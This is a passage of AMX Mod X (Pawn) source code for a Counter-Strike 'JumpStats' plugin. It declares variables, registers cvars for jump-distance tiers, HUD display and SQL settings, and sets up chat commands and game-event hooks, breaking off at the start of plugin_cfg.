#include <cstrike>
#include <hamsandwich>
#include <celltrie>
#include <uq_jumpstats_const.inc>
#include <uq_jumpstats_stocks.inc>
#include <dhudmessage>
#include <colorchat>

#define VERSION "2.42"
//#pragma semicolon 1

////////////////////////////////////Some shit varibeles////////////////////////////////////
new dd_sync[33],angles_arry[33],Float:old_angles[33][3],lost_frame_count[33][NSTRAFES],line_lost[33][NSTRAFES][NVAR],FullJumpFrames[33],heystats,max_players,bool:duckbhop_bug_pre[33],bool:dropupcj[33],Float:first_duck_z[33],screenshoot,Float:checkladdertime[33],bool:ladderbug[33],bool:login[33];
new uq_istrafe,kz_uq_istrafe,bug_check[33],bool:bug_true[33],bool:find_ladder[33],bool:Checkframes[33],type_button_what[33][100];
new min_pre,beam_type[33],min_prestrafe[33],dropbhop[33],ddnum[33],bool:dropaem[33],bool:ddforcj[33];
new kz_uq_min_other,bool:slide_protec[33],bool:UpcjFail[33],bool:upBhop[33],Float:upheight[33];
new beam_entity[33][NVAR],ent_count[33],kz_uq_extras,sql_stats,kz_sql,g_sql_pid[33],kz_top_rank_by,kz_uq_block_top;

new bool:height_show[33],bool:firstfall_ground[33],framecount[33],bool:firstladder[33];
new Float:FallTime[33],Float:FallTime1[33],multiscj[33],multidropcj[33],bool:enable_sound[33];
new jumpblock[33],Float:edgedist[33];
new bool:failed_jump[33],bool:started_multicj_pre[33],bool:sync_doubleduck[33],bhop_num[33],bool:Show_edge_Fail[33],bool:Show_edge[33],bool:fps_hight[33],bool:first_ground_bhopaem[33];

new line_erase[33][NSTRAFES],line_erase_strnum[33];

new max_edge,min_edge,NSTRAFES1,max_strafes,Float:nextbhoptime[33],Float:bhopaemtime[33],Float:ground_bhopaem_time[33],Float:SurfFrames[33],Float:oldSurfFrames[33],bool:first_air[33];
new bool:preessbutton[33],button_what[33],bool:gBeam_button[33][100],gBeam_button_what[33][100];
new bool:h_jumped[33],Float:heightoff_origin[33],web_stats,Float:x_heightland_origin[33],bool:x_jump[33],Float:laddertime[33],bool:edgedone[33];
new schetchik[33],Float:changetime[33],bool:edgeshow[33],bool:slide[33],pre_type[33][33];

new bool:ingame_strafe[33],bool:ljpre[33],Float:distance[33],detecthj[33],bool:doubleduck[33];
new Float:doubletime[33],bool:multibhoppre[33],kz_uq_fps,bool:duckbhop[33],MAX_DISTANCE,Float:upbhop_koeff[33];
new Float:rDistance[3],Float:frame2time,bool:touch_ent[33],bool:ddbeforwj[33],bool:gHasColorChat[33],Float:old_angle1[33];
new bool:g_lj_stats[33],strafe_num[33],bool:g_Jumped[33],bool:g_reset[33],ljsDir[64],ljsDir_weapon[8][64],ljsDir_block[64],Float:gBeam_points[33][100][3],gBeam_duck[33][100],gBeam_count[33];

new gBeam,waits[33],waits1[33],Float:slideland[33],bool:backwards[33],bool:hookcheck[33],Float:timeonground[33];
new map_dist[NTOP+1],map_syncc[NTOP+1],map_maxsped[NTOP+1], map_prestr[NTOP+1],map_names[NTOP+1][33],map_ip[NTOP+1][33],map_streif[NTOP+1],map_type[NTOP+1][33];
new kz_uq_lj,kz_uq_cj,kz_uq_dcj,kz_uq_mcj ,kz_uq_ladder,kz_uq_ldbj,kz_uq_bj,kz_uq_sbj,kz_uq_drbj,kz_uq_drsbj,kz_uq_drcj,kz_uq_wj;	

new oldpre[33],oldljpre[33],oldfail[33],Float:starthj[33][3],Float:stophj[33][3], Float:endhj[33][3];
new bool:landslide[33],strafecounter_oldbuttons[33],Float:Fulltime,Float:needslide[33],Float:groundslide[33];
new jj,sync_[33],goodSyncTemp,badSyncTemp,strafe_lost_frame[33][NSTRAFES],Float:time_,Float:strafe_stat_time[33][NSTRAFES],Float:strafe_stat_speed[33][NSTRAFES][2];
new strafe_stat_sync[33][NSTRAFES][2],strLen,strMess[40*NSTRAFES],strMessBuf[40*NSTRAFES],team[33];

new bool:g_pBot[33],strL,strM[40*NSTRAFES],strMBuf[40*NSTRAFES],Float:firstvel[33],Float:secvel[33],Float:firstorig[33][3],Float:secorig[33][3];
new Float:speed[33], Float:TempSpeed[33],Float:statsduckspeed[33][500]; 
new bool:slidim[33],Float:slidedist[33],edgefriction,mp_footsteps,sv_cheats,sv_airaccelerate,sv_maxspeed,sv_stepsize,sv_maxvelocity,sv_gravity;

new kz_min_dcj,kz_stats_x,kz_stats_y,Float:stats_x,Float:stats_y,taskslide[33],taskslide1[33],bool:failslide[33];
new Float:failslidez[33],kz_strafe_x,kz_strafe_y,Float:strafe_x,Float:strafe_y,Float:laddist[33],kz_duck_x;
new kz_duck_y,Float:duck_x,Float:duck_y,bool:bhopaem[33],bool:nextbhop[33],kz_stats_red,kz_stats_green, kz_stats_blue, kz_failstats_red,kz_failstats_green;
new kz_failstats_blue, kz_sounds, kz_airaccelerate,kz_uq_url,kz_prefix,kz_legal_settings;

new kz_good_lj,kz_pro_lj,kz_holy_lj,kz_leet_lj,kz_god_lj,kz_good_bj,kz_pro_bj,kz_holy_bj,kz_leet_bj,kz_god_bj;
new kz_good_cj,kz_pro_cj,kz_holy_cj,kz_leet_cj,kz_god_cj,kz_good_wj,kz_pro_wj,kz_holy_wj,kz_leet_wj,kz_god_wj;
new kz_good_dbj,kz_pro_dbj, kz_holy_dbj,kz_leet_dbj, kz_god_dbj,kz_good_scj,kz_pro_scj, kz_holy_scj,kz_leet_scj, kz_god_scj;
new kz_good_ladder,kz_pro_ladder,kz_holy_ladder, kz_leet_ladder,kz_god_ladder,kz_good_dcj,kz_pro_dcj,kz_holy_dcj,kz_leet_dcj,kz_god_dcj;

new kz_god_duckbhop,kz_holy_duckbhop,kz_pro_duckbhop,kz_good_duckbhop,kz_good_dropscj,kz_pro_dropscj,kz_holy_dropscj,kz_leet_dropscj,kz_god_dropscj;
new kz_good_real,kz_pro_real,kz_holy_real,kz_leet_real,kz_god_real,kz_good_bhopinduck,kz_pro_bhopinduck,kz_holy_bhopinduck,kz_leet_bhopinduck,kz_god_bhopinduck;
new kz_god_upbj,kz_leet_upbj,kz_good_upbj, kz_pro_upbj,kz_holy_upbj,kz_god_upsbj,kz_leet_upsbj,kz_good_upsbj, kz_pro_upsbj,kz_holy_upsbj;
new kz_uq_dscj,kz_uq_mscj,kz_leet_duckbhop,kz_uq_dropscj,kz_uq_dropdscj,kz_uq_dropmscj,kz_uq_duckbhop,kz_uq_bhopinduck,kz_uq_realldbhop,kz_uq_multibhop,kz_uq_upbj,kz_uq_upbhopinduck,kz_uq_upsbj,kz_uq_dropdcj,kz_uq_dropmcj;

new user_block[33][2],Float:slidez[33][4][3],prefix[64];

new CjafterJump[33],bool:ddafterJump[33],bool:cjjump[33],bool:serf_reset[33],entlist[256],ent,nLadder,Float:ladderxyz[256][3],Float:ladderminxyz[256][3], Float:laddersize[256][3], nashladder,bool:ladderjump[33];
new bool:kz_stats_pre[33], bool:kz_beam[33],bool:showpre[33],bool:showjofon[33],bool:speedon[33],bool:jofon[33];

new Float:dropbjorigin[33][3], Float:falloriginz[33],Float:origin[3],ducks[33], movetype[33];
static Float:maxspeed[33], Float:prestrafe[33],JumpType:jump_type[33],JumpType:old_type_dropbj[33], frames[33], frames_gained_speed[33], bool:turning_left[33];
static bool:turning_right[33],bool:started_cj_pre[33],bool:in_duck[33], bool:in_bhop[33],bool:in_air[33],bool:in_ladder[33];
new bool:player_admin[33],bool:failearly[33],bool:firstshow[33],bool:first_onground[33],bool:notjump[33],bool:OnGround[33],bool:donehook[33];

new bool:streifstat[33],Jtype[33][33],Jtype1[33][33],Jtype_old_dropbj[33][33],Jtype_old_dropbj1[33][33],Float:weapSpeed[33],Float:weapSpeedOld[33];
new airacel[33][33],bool:firstfr[33],kz_speed_x,kz_speed_y,hud_stats,hud_streif,hud_pre,hud_duck,hud_speed; 
new kz_uq_connect,kz_uq_light,bool:duckstring[33],kz_uq_top,kz_uq_maptop,bool:showduck[33],Float:surf[33];
new bool:first_surf[33],oldjump_type[33],oldjump_typ1[33],jump_typeOld[33],mapname[33],Float:duckstartz[33],direct_for_strafe[33];
new Float:height_difference[33],kz_uq_team,bool:jumpoffirst[33],bool:posibleScj[33];
new kz_uq_noslow,kz_prest_x,kz_prest_y,kz_speed_r,kz_speed_g,kz_speed_b,kz_prest_r,kz_prest_g,kz_prest_b;

new weapon_top,bool:touch_somthing[33],record_start[33],allow_info;
new showtime_st_stats[33];

new Float:jof[33],weapon_block_top;

new g_playername[33][64], g_playersteam[33][35], g_playerip[33][16], rankby,plugin_ver[33];

new ljsDir_block_weapon[8][64],uq_host,uq_user,uq_pass,uq_db,Handle:DB_TUPLE,Handle:SqlConnection,g_error[512],sql_Cvars_num[SQLCVARSNUM];
new sql_JumpType[33];
new Trie:JData,Trie:JData_Block,Float:oldjump_height[33],Float:jheight[33],bool:jheight_show[33];

new uq_lj,uq_cj,uq_dcj,uq_mcj,uq_ladder,uq_ldbj,uq_bj,uq_sbj,uq_drbj,uq_drsbj,uq_drcj;	
new uq_wj,uq_dscj,uq_mscj,uq_dropscj,uq_dropdscj,uq_dropmscj,uq_duckbhop,uq_bhopinduck;
new uq_realldbhop,uq_upbj,uq_upbhopinduck,uq_upsbj,uq_multibhop,uq_dropdcj,uq_dropmcj;
new dcj_god_dist,dcj_leet_dist,dcj_holy_dist,dcj_pro_dist,dcj_good_dist;
new lj_god_dist,lj_leet_dist,lj_holy_dist,lj_pro_dist,lj_good_dist;
new ladder_god_dist,ladder_leet_dist,ladder_holy_dist,ladder_pro_dist,ladder_good_dist;
new wj_god_dist,wj_leet_dist,wj_holy_dist,wj_pro_dist,wj_good_dist;
new bj_god_dist,bj_leet_dist,bj_holy_dist,bj_pro_dist,bj_good_dist;
new cj_god_dist,cj_leet_dist,cj_holy_dist,cj_pro_dist,cj_good_dist;
new dbj_god_dist,dbj_leet_dist,dbj_holy_dist,dbj_pro_dist,dbj_good_dist;
new scj_god_dist,scj_leet_dist,scj_holy_dist,scj_pro_dist,scj_good_dist;
new dropscj_god_dist,dropscj_leet_dist,dropscj_holy_dist,dropscj_pro_dist,dropscj_good_dist;
new bhopinduck_god_dist,bhopinduck_leet_dist,bhopinduck_holy_dist,bhopinduck_pro_dist,bhopinduck_good_dist;
new upbj_god_dist,upbj_leet_dist,upbj_holy_dist,upbj_pro_dist,upbj_good_dist;
new upsbj_god_dist,upsbj_leet_dist,upsbj_holy_dist,upsbj_pro_dist,upsbj_good_dist;
new real_god_dist,real_leet_dist,real_holy_dist,real_pro_dist,real_good_dist;
new duckbhop_god_dist,duckbhop_leet_dist,duckbhop_holy_dist,duckbhop_pro_dist,duckbhop_good_dist;
new web_sql,max_distance,min_distance_other,min_distance,uq_airaccel,leg_settings,uq_sounds;
new uq_maxedge,uq_minedge,uq_min_pre,speed_r,speed_g,speed_b,Float:speed_x,Float:speed_y,h_speed,kz_top,kz_extras,kz_weapon,kz_block_top;
new uq_team,prest_r,prest_g,prest_b,Float:prest_x,Float:prest_y,h_prest,h_stats,h_duck,h_streif;				
new uq_noslow,uq_light,uq_screen,uq_info,uq_fps,kz_map_top,kz_wpn_block_top,stats_r,stats_b,stats_g,f_stats_r,f_stats_b,f_stats_g;
//new uq_sv_maxvelocity,uq_sv_stepsize,uq_sv_maxspeed,uq_edgefriction,uq_mp_footsteps,uq_sv_cheats,uq_sv_gravity,uq_sv_airaccelerate;
new kz_uq_script_work,uq_script_work,uq_ban_minutes,kz_uq_ban_minutes,uq_bug,kz_uq_bug,uq_script_notify,kz_uq_script_notify,uq_admins,kz_uq_admins,kz_uq_script_detection,uq_script_detection,kz_uq_update_auth,uq_update_auth;
new doubleduck_stat_sync[33][2],logs_path[128],uq_script_punishment,kz_uq_script_punishment,uq_ban_authid,uq_ban_type,kz_uq_ban_authid,kz_uq_ban_type;
new kz_uq_block_chat_show,kz_uq_block_chat_min,uq_block_chat_show,uq_block_chat_min;


new bool:speedtype[33],ddforcjafterbhop[33],ddforcjafterladder[33],ddstandcj[33];
new bool:trigger_protection[33],kz_uq_speed_allteam,uq_speed_allteam;

new sql_Cvars[SQLCVARSNUM][] = { //cvars for db
	"kz_uq_save_extras_top",
	"kz_uq_top_by",
	"kz_uq_sql",
	"kz_uq_block_top"
};

new Trie:JumpPlayers;

new const KZ_CVARSDIR[] = "config.cfg";

public plugin_init()
{
	register_plugin( "JumpStats", VERSION, "BorJomi" );
	
	register_dictionary("uq_jumpstats.txt");
	
	kz_good_lj            = register_cvar("kz_uq_good_lj",            "240");	// lj hj
	kz_pro_lj            = register_cvar("kz_uq_pro_lj",             "245");
	kz_holy_lj            = register_cvar("kz_uq_holy_lj",            "250");
	kz_leet_lj           = register_cvar("kz_uq_leet_lj",            "253");
	kz_god_lj           = register_cvar("kz_uq_god_lj",            "255");
	
	kz_good_cj            = register_cvar("kz_uq_good_cj",            "250");	// cj
	kz_pro_cj            = register_cvar("kz_uq_pro_cj",             "255");
	kz_holy_cj            = register_cvar("kz_uq_holy_cj",            "260");
	kz_leet_cj           = register_cvar("kz_uq_leet_cj",            "265");
	kz_god_cj           = register_cvar("kz_uq_god_cj",            "267");
	
	kz_good_dcj            = register_cvar("kz_uq_good_dcj",            "250");	// dcj mcj
	kz_pro_dcj            = register_cvar("kz_uq_pro_dcj",             "255");
	kz_holy_dcj            = register_cvar("kz_uq_holy_dcj",            "260");
	kz_leet_dcj           = register_cvar("kz_uq_leet_dcj",            "265");
	kz_god_dcj           = register_cvar("kz_uq_god_dcj",            "270");
	
	kz_good_ladder           = register_cvar("kz_uq_good_ladder",            "150");	// ladder
	kz_pro_ladder           = register_cvar("kz_uq_pro_ladder",             "160");
	kz_holy_ladder           = register_cvar("kz_uq_holy_ladder",            "170");
	kz_leet_ladder           = register_cvar("kz_uq_leet_ladder",            "180");
	kz_god_ladder          = register_cvar("kz_uq_god_ladder",            "190");
	
	kz_good_bj           = register_cvar("kz_uq_good_bj",            "230");	// bj sbj
	kz_pro_bj           = register_cvar("kz_uq_pro_bj",             "235");
	kz_holy_bj           = register_cvar("kz_uq_holy_bj",            "240");
	kz_leet_bj           = register_cvar("kz_uq_leet_bj",            "245");
	kz_god_bj          = register_cvar("kz_uq_god_bj",            "247");
	
	kz_good_wj          = register_cvar("kz_uq_good_wj",            "255");	// wj dropcj ladderbhop
	kz_pro_wj           = register_cvar("kz_uq_pro_wj",             "260");
	kz_holy_wj           = register_cvar("kz_uq_holy_wj",            "265");
	kz_leet_wj           = register_cvar("kz_uq_leet_wj",            "270");
	kz_god_wj          = register_cvar("kz_uq_god_wj",            "272");
	
	kz_good_dbj          = register_cvar("kz_uq_good_dbj",            "240");	// 
	kz_pro_dbj          = register_cvar("kz_uq_pro_dbj",             "250");
	kz_holy_dbj          = register_cvar("kz_uq_holy_dbj",            "265");
	kz_leet_dbj           = register_cvar("kz_uq_leet_dbj",            "270");
	kz_god_dbj          = register_cvar("kz_uq_god_dbj",            "272");
	
	kz_good_scj          = register_cvar("kz_uq_good_scj",            "245");	// 
	kz_pro_scj          = register_cvar("kz_uq_pro_scj",             "250");
	kz_holy_scj          = register_cvar("kz_uq_holy_scj",            "255");
	kz_leet_scj           = register_cvar("kz_uq_leet_scj",            "260");
	kz_god_scj          = register_cvar("kz_uq_god_scj",            "262");
	
	kz_good_dropscj          = register_cvar("kz_uq_good_dropscj",            "255");	// 
	kz_pro_dropscj          = register_cvar("kz_uq_pro_dropscj",             "260");
	kz_holy_dropscj          = register_cvar("kz_uq_holy_dropscj",            "265");
	kz_leet_dropscj           = register_cvar("kz_uq_leet_dropscj",            "270");
	kz_god_dropscj          = register_cvar("kz_uq_god_dropscj",            "272");
	
	kz_good_duckbhop          = register_cvar("kz_uq_good_duckbhop",            "120");	// 
	kz_pro_duckbhop          = register_cvar("kz_uq_pro_duckbhop",             "130");
	kz_holy_duckbhop          = register_cvar("kz_uq_holy_duckbhop",            "140");
	kz_leet_duckbhop         = register_cvar("kz_uq_leet_duckbhop",            "150");
	kz_god_duckbhop         = register_cvar("kz_uq_god_duckbhop",            "160");
	
	kz_good_bhopinduck         = register_cvar("kz_uq_good_bhopinduck",            "205");	// 
	kz_pro_bhopinduck          = register_cvar("kz_uq_pro_bhopinduck",             "210");
	kz_holy_bhopinduck          = register_cvar("kz_uq_holy_bhopinduck",            "215");
	kz_leet_bhopinduck          = register_cvar("kz_uq_leet_bhopinduck",            "218");
	kz_god_bhopinduck         = register_cvar("kz_uq_god_bhopinduck",            "220");
	
	kz_good_real         = register_cvar("kz_uq_good_realldbhop",            "240");	// 
	kz_pro_real          = register_cvar("kz_uq_pro_realldbhop",             "250");
	kz_holy_real         = register_cvar("kz_uq_holy_realldbhop",            "265");
	kz_leet_real         = register_cvar("kz_uq_leet_realldbhop",            "270");
	kz_god_real         = register_cvar("kz_uq_god_realldbhop",            "272");
	
	kz_good_upbj         = register_cvar("kz_uq_good_upbj",            "225");	// 
	kz_pro_upbj          = register_cvar("kz_uq_pro_upbj",             "230");
	kz_holy_upbj          = register_cvar("kz_uq_holy_upbj",            "235");
	kz_leet_upbj          = register_cvar("kz_uq_leet_upbj",            "240");
	kz_god_upbj         = register_cvar("kz_uq_god_upbj",            "245");
	
	kz_good_upsbj         = register_cvar("kz_uq_good_upbj",            "230");	// 
	kz_pro_upsbj          = register_cvar("kz_uq_pro_upbj",             "235");
	kz_holy_upsbj          = register_cvar("kz_uq_holy_upbj",            "240");
	kz_leet_upsbj          = register_cvar("kz_uq_leet_upbj",            "244");
	kz_god_upsbj         = register_cvar("kz_uq_god_upbj",            "246");
	
	kz_min_dcj          = register_cvar("kz_uq_min_dist",            "215");
	MAX_DISTANCE         = register_cvar("kz_uq_max_dist",            "290");
	
	kz_stats_red        = register_cvar("kz_uq_stats_red",        "0");		
	kz_stats_green      = register_cvar("kz_uq_stats_green",      "255");
	kz_stats_blue       = register_cvar("kz_uq_stats_blue",       "159");
	kz_failstats_red        = register_cvar("kz_uq_failstats_red",        "255");		
	kz_failstats_green      = register_cvar("kz_uq_failstats_green",      "0");
	kz_failstats_blue       = register_cvar("kz_uq_failstats_blue",       "109");
	
	kz_sounds 	     = register_cvar("kz_uq_sounds",           "1");
	kz_top_rank_by        = register_cvar("kz_uq_top_by",        "0");		// How ranking will work? 0=name, 1=ip 2=steam
	kz_legal_settings     = register_cvar("kz_uq_legal_settings",     "0");
	kz_prefix 	       = register_cvar("kz_uq_prefix",       "PLAY-ARENA");
	kz_airaccelerate     = register_cvar("kz_uq_airaccelerate",     "1");
	
	kz_stats_x        = register_cvar("kz_uq_stats_x",        "-1.0");		
	kz_stats_y      = register_cvar("kz_uq_stats_y",      "0.70");
	kz_strafe_x        = register_cvar("kz_uq_strafe_x",        "0.70");		
	kz_strafe_y      = register_cvar("kz_uq_strafe_y",      "0.35");
	kz_duck_x        = register_cvar("kz_uq_duck_x",        "0.6");		
	kz_duck_y      = register_cvar("kz_uq_duck_y",      "0.78");
	kz_speed_x        = register_cvar("kz_uq_speed_x",        "-1.0");		
	kz_speed_y      = register_cvar("kz_uq_speed_y",      "0.83");
	kz_prest_x        = register_cvar("kz_uq_prestrafe_x",        "-1.0");		
	kz_prest_y      = register_cvar("kz_uq_prestrafe_y",      "0.65");
	
	kz_speed_r        = register_cvar("kz_uq_speed_red",        "255");		
	kz_speed_g        = register_cvar("kz_uq_speed_green",      "255");
	kz_speed_b          = register_cvar("kz_uq_speed_blue",        "255");		
	kz_prest_r        = register_cvar("kz_uq_prestrafe_red",        "255");		
	kz_prest_g      = register_cvar("kz_uq_prestrafe_green",      "255");
	kz_prest_b        = register_cvar("kz_uq_prestrafe_blue",        "255");
	
	hud_stats       = register_cvar("kz_uq_hud_stats",        "3");		
	hud_streif    = register_cvar("kz_uq_hud_strafe",      "4");
	hud_pre      = register_cvar("kz_uq_hud_pre",        "1");		
	hud_duck     = register_cvar("kz_uq_hud_duck",      "1");
	hud_speed     = register_cvar("kz_uq_hud_speed",      "2");
	
	kz_uq_lj       = register_cvar("kz_uq_lj",        "1");	
	kz_uq_cj       = register_cvar("kz_uq_cj",        "1");	
	kz_uq_dcj       = register_cvar("kz_uq_dcj",        "1");	
	kz_uq_mcj       = register_cvar("kz_uq_mcj",        "1");	
	kz_uq_ladder       = register_cvar("kz_uq_ladder",        "1");	
	kz_uq_ldbj       = register_cvar("kz_uq_ldbj",        "1");	
	kz_uq_bj       = register_cvar("kz_uq_bj",        "1");	
	kz_uq_sbj       = register_cvar("kz_uq_sbj",        "1");	
	kz_uq_drbj       = register_cvar("kz_uq_drbj",        "1");	
	kz_uq_drsbj       = register_cvar("kz_uq_scj",        "1");	
	kz_uq_drcj       = register_cvar("kz_uq_drcj",        "1");	
	kz_uq_wj       = register_cvar("kz_uq_wj",        "1");	
	
	kz_uq_dscj       = register_cvar("kz_uq_dscj",        "1");	
	kz_uq_mscj       = register_cvar("kz_uq_mscj",        "1");
	kz_uq_dropscj       = register_cvar("kz_uq_dropscj",        "1");
	kz_uq_dropdscj       = register_cvar("kz_uq_dropdscj",        "1");
	kz_uq_dropmscj       = register_cvar("kz_uq_dropmscj",        "1");
	kz_uq_duckbhop       = register_cvar("kz_uq_duckbhop",        "1");
	kz_uq_bhopinduck      = register_cvar("kz_uq_bhopinduck",        "1");
	kz_uq_realldbhop       = register_cvar("kz_uq_realldbhop",        "1");
	kz_uq_upbj      = register_cvar("kz_uq_upbj",        "1");
	kz_uq_upbhopinduck      = register_cvar("kz_uq_upbhopinduck",        "1");
	kz_uq_upsbj       = register_cvar("kz_uq_upsbj",        "1");
	kz_uq_multibhop      = register_cvar("kz_uq_multibhop",        "1");
	kz_uq_dropdcj      = register_cvar("kz_uq_dropdcj",        "1");
	kz_uq_dropmcj     = register_cvar("kz_uq_dropmcj",        "1");
	
	kz_uq_light    = register_cvar("kz_uq_light",      "1");
	kz_uq_connect = register_cvar("kz_uq_connect", "abcdefghijklmn");
	kz_uq_fps = register_cvar("kz_uq_fps", "0");	
	kz_uq_top = register_cvar("kz_uq_save_top", "1");
	kz_uq_maptop = register_cvar("kz_uq_maptop", "1");
	kz_uq_team = register_cvar("kz_uq_team", "1");
	kz_uq_istrafe = register_cvar("kz_uq_istrafes", "0");
	
	max_edge = register_cvar("kz_uq_max_block", "290");
	min_edge = register_cvar("kz_uq_min_block", "100");
	min_pre = register_cvar("kz_uq_min_pre", "60");
	kz_uq_min_other = register_cvar("kz_uq_min_dist_other",            "120");
	kz_uq_extras = register_cvar("kz_uq_save_extras_top", "1");
	max_strafes = register_cvar("kz_uq_max_strafes", "9999");
	screenshoot = register_cvar("kz_uq_screenshoot", "0");
	
	sql_stats = register_cvar("kz_uq_sql", "0");
	web_stats = register_cvar("kz_uq_web", "0");
	
	uq_host = register_cvar("kz_uq_host", "127.0.0.1");
	uq_user = register_cvar("kz_uq_user", "root");
	uq_pass = register_cvar("kz_uq_pass", "");
	uq_db = register_cvar("kz_uq_db", "uq_jumpstats");
		
	allow_info = register_cvar("kz_uq_demo_info", "1");
	weapon_top = register_cvar("kz_uq_weapons_top", "1");
	weapon_block_top = register_cvar("kz_uq_block_weapons", "1");
	kz_uq_url = register_cvar("kz_uq_url","http://localhost/uq_jumpstats/index.php?type=lj&from_game=true");
	kz_uq_block_top = register_cvar("kz_uq_block_top", "1");
	
	kz_uq_bug=register_cvar("kz_uq_bug_check", "1");
	kz_uq_noslow=register_cvar("kz_uq_noslowdown", "1");
	
	kz_uq_admins = register_cvar("kz_uq_only_admins", "0");
	kz_uq_script_detection = register_cvar("kz_uq_script_detection", "0");
	kz_uq_update_auth = register_cvar("kz_uq_update_auth", "1");
	kz_uq_script_notify = register_cvar("kz_uq_script_notify", "0");
	kz_uq_script_punishment = register_cvar("kz_uq_script_punishment", "0");
	kz_uq_script_work = register_cvar("kz_uq_script_work", "2");
	
	kz_uq_ban_type = register_cvar("kz_uq_ban_type", "0");
	kz_uq_ban_authid = register_cvar("kz_uq_ban_authid", "0");
	kz_uq_ban_minutes = register_cvar("kz_uq_ban_minutes", "45");
	
	kz_uq_block_chat_show = register_cvar("kz_uq_block_chat_show", "1");
	kz_uq_block_chat_min = register_cvar("kz_uq_block_chat_min", "1");
	
	kz_uq_speed_allteam = register_cvar("kz_uq_speed_allteam", "1");
	
	register_cvar( "uq_jumpstats", VERSION, FCVAR_SERVER|FCVAR_SPONLY);
	
	register_concmd("amx_reset_uqtops","reset_tops",ADMIN_CVAR ,"reset all tops");
	
	register_clcmd( "say /strafe",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /strafes",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /strafestat",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /strafestats",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /showpre",	"show_pre" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /duck",	"pre_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /ducks",	"pre_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /uqstats",		"cmdljStats",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /ljstats",		"cmdljStats",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /stats",		"cmdljStats",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /heigh",		"heightshow",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /fall",		"heightshow",         ADMIN_ALL, "- enabled/disables" );
	
	register_clcmd( "say /uqversion",	"cmdVersion",         ADMIN_ALL);
	register_clcmd( "say uqversion",	"cmdVersion",         ADMIN_ALL);
	register_clcmd("say /uqbeam",     "cmdljbeam",         ADMIN_ALL);
	register_clcmd("say /beam",     "cmdljbeam",         ADMIN_ALL);
	register_clcmd("say /ljbeam",     "cmdljbeam",         ADMIN_ALL);
	register_clcmd("say /speed",     "show_speed",         ADMIN_ALL);
	register_clcmd("say /colorchat",     "cmdColorChat",         ADMIN_ALL);
	register_clcmd("say /bhopwarn",     "show_early",         ADMIN_ALL);
	register_clcmd("say /multibhop",     "multi_bhop",         ADMIN_ALL);
	register_clcmd("say /duckspre",     "duck_show",         ADMIN_ALL);
	register_clcmd("say /duckpre",     "duck_show",         ADMIN_ALL);
	register_clcmd("say /ljpre",     "lj_show",         ADMIN_ALL);
	register_clcmd("say /prelj",     "lj_show",         ADMIN_ALL);
	register_clcmd("say /uqsound",     "enable_sounds",         ADMIN_ALL);
	register_clcmd("say /uqsounds",     "enable_sounds",         ADMIN_ALL);
	
	register_clcmd("say /failedge",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /failedg",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /edgefail",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /edgfail",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /edge",     "Showedge",         ADMIN_ALL);
	register_clcmd("say /edg",     "Showedge",         ADMIN_ALL);
	
	register_clcmd("say /joftrainer",     "trainer_jof",         ADMIN_ALL);
	register_clcmd("say joftrainer",     "trainer_jof",         ADMIN_ALL);
	register_clcmd("say /joftr",     "trainer_jof",         ADMIN_ALL);
	
	register_clcmd("say /speedt",     "speed_type",         ADMIN_ALL);
	
	register_clcmd("say /jof",     "show_jof",         ADMIN_ALL);
	register_clcmd("say jof",     "show_jof",         ADMIN_ALL);
	
	register_clcmd("say /jheigh",     "show_jheight",         ADMIN_ALL);
	
	register_clcmd("say /istrafe",     "ingame_st_stats",         ADMIN_ALL);
	
	register_clcmd("say /options",     "Option",         ADMIN_ALL);
	register_clcmd("say /ljsmenu",     "Option",         ADMIN_ALL);
	register_clcmd("say /ljsmenu2",     "Option2",         ADMIN_ALL);
	register_clcmd("say /uqmenu",     "Option",         ADMIN_ALL);
	register_clcmd("say /option",     "Option",         ADMIN_ALL);

	register_menucmd(register_menuid("StatsOptionMenu1"),          1023, "OptionMenu1");
	register_menucmd(register_menuid("StatsOptionMenu2"),          1023, "OptionMenu2");
	register_menucmd(register_menuid("StatsOptionMenu3"),          1023, "OptionMenu3");
	
	edgefriction          = get_cvar_pointer("edgefriction");
	mp_footsteps          = get_cvar_pointer("mp_footsteps");
	sv_cheats             = get_cvar_pointer("sv_cheats");
	sv_gravity            = get_cvar_pointer("sv_gravity");
	sv_airaccelerate      = get_cvar_pointer("sv_airaccelerate");
	sv_maxspeed           = get_cvar_pointer("sv_maxspeed");
	sv_stepsize           = get_cvar_pointer("sv_stepsize");
	sv_maxvelocity        = get_cvar_pointer("sv_maxvelocity");
	
	
	register_forward(FM_Touch,           "fwdTouch",           1);
	register_forward( FM_PlayerPreThink,	"fwdPreThink",	0 );
	register_forward( FM_PlayerPostThink,	"fwdPostThink",	0 );
	
	RegisterHam(Ham_Spawn, "player", "FwdPlayerSpawn", 1);
	RegisterHam(Ham_Killed, "player", "FwdPlayerDeath", 1);
	RegisterHam(Ham_Touch, "player",	"HamTouch");
	
	register_event("ResetHUD","ResetHUD","b");
	
	max_players=get_maxplayers();
	
	ent=find_ent_by_class(-1,"func_ladder");
	while( ent > 0 )
	{
		entity_get_vector ( ent, EV_VEC_maxs, ladderxyz[nLadder] );
		entity_get_vector ( ent, EV_VEC_mins, ladderminxyz[nLadder] );
		entity_get_vector ( ent, EV_VEC_size, laddersize[nLadder] );
		entlist[nLadder]=ent;
		
		ent = find_ent_by_class(ent,"func_ladder");
		nLadder++;
	}
	
	get_mapname(mapname, 32);
	
	// Logs
	new logs[64];
	get_localinfo("amxx_logs", logs, 63);
	formatex(logs_path, 127, "%s\uq_jumpstats.txt", logs);
}

public plugin_natives()
{
	register_native("kz_get_configsdir", "native_kz_get_configsdir", 1);
	
}

public plugin_cfg()
{
	new cvarfiles[100], uqpath[64];
	kz_get_configsdir(uqpath, 63);
